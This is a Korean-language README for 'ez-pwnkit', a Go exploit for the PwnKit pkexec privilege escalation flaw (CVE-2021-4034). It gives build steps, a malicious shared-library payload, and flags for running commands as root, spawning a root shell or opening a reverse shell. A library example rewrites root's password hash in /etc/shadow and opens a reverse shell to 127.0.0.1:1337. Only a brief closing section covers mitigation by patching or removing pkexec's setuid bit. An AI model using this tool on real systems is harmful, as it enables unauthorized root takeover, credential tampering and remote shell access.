
Go로 구현된 PwnKit Linux 로컬 권한 상승 익스플로잇(CVE-2021-4034)
CVE-2021-4034 PwnKit 익스플로잇의 순수 Go 구현입니다.
이 익스플로잇은 syscall.ForkExec를 사용하여 메인 프로그램 종료 후에도 프로세스가 유지되도록 합니다.
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
익스플로잇은 악성 공유 라이브러리에 의존하므로, payload.go에서 PWN.so 파일이 생성되어 결과물인 exploit 실행 파일에 포함됩니다.
Makefile은 sed를 사용하여 payload.go 파일의 패키지 이름을 임시로 main으로 변경하므로, 이 Makefile은 Linux 전용입니다.
Go 페이로드는 C 페이로드만큼 안정적이지 않으므로, Makefile은 기본적으로 C 페이로드로 익스플로잇을 컴파일합니다. make build_go를 사용하여 Go 페이로드로 컴파일할 수 있습니다.
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
익스플로잇은 명령어(-c), 리버스 셸(-r) 또는 루트 셸 생성(-s)과 함께 사용할 수 있습니다.
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// Change root password to 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// Open a reverse-shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
Command와 RevShell은 syscall.ForkExec를 사용하여 익스플로잇을 실행하므로, 결과 프로세스는 메인 프로그램과 분리되어 메인 프로그램 종료 후에도 유지됩니다.
go-PwnKit은 Github에서 프로젝트로 가져올 수 있지만, 신뢰할 수 없는 공유 라이브러리를 루트 권한으로 실행하게 된다는 점을 잊지 마세요. 따라서 로컬에서 컴파일한 PWN.so를 사용하는 것이 매우 권장됩니다. 그냥 참고로 말씀드리는 겁니다 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
가능하면 pkexec에 패치를 적용하고, 그렇지 않으면 pkexec 바이너리에서 setuid 비트를 비활성화하세요.
chmod 0755 /usr/bin/pkexec
이 프로젝트는 PwnKit 익스플로잇의 여러 다른 PoC에서 영감을 받았습니다.
직관적인 익스플로잇 구성에 대해 An00bRektn에게 감사드립니다.
익스플로잇 설명의 명확성에 대해 PaterGottesman과 berdav에게 감사드립니다.
GIO_USE_VFS 트릭에 대해 dzonerzy에게 감사드립니다.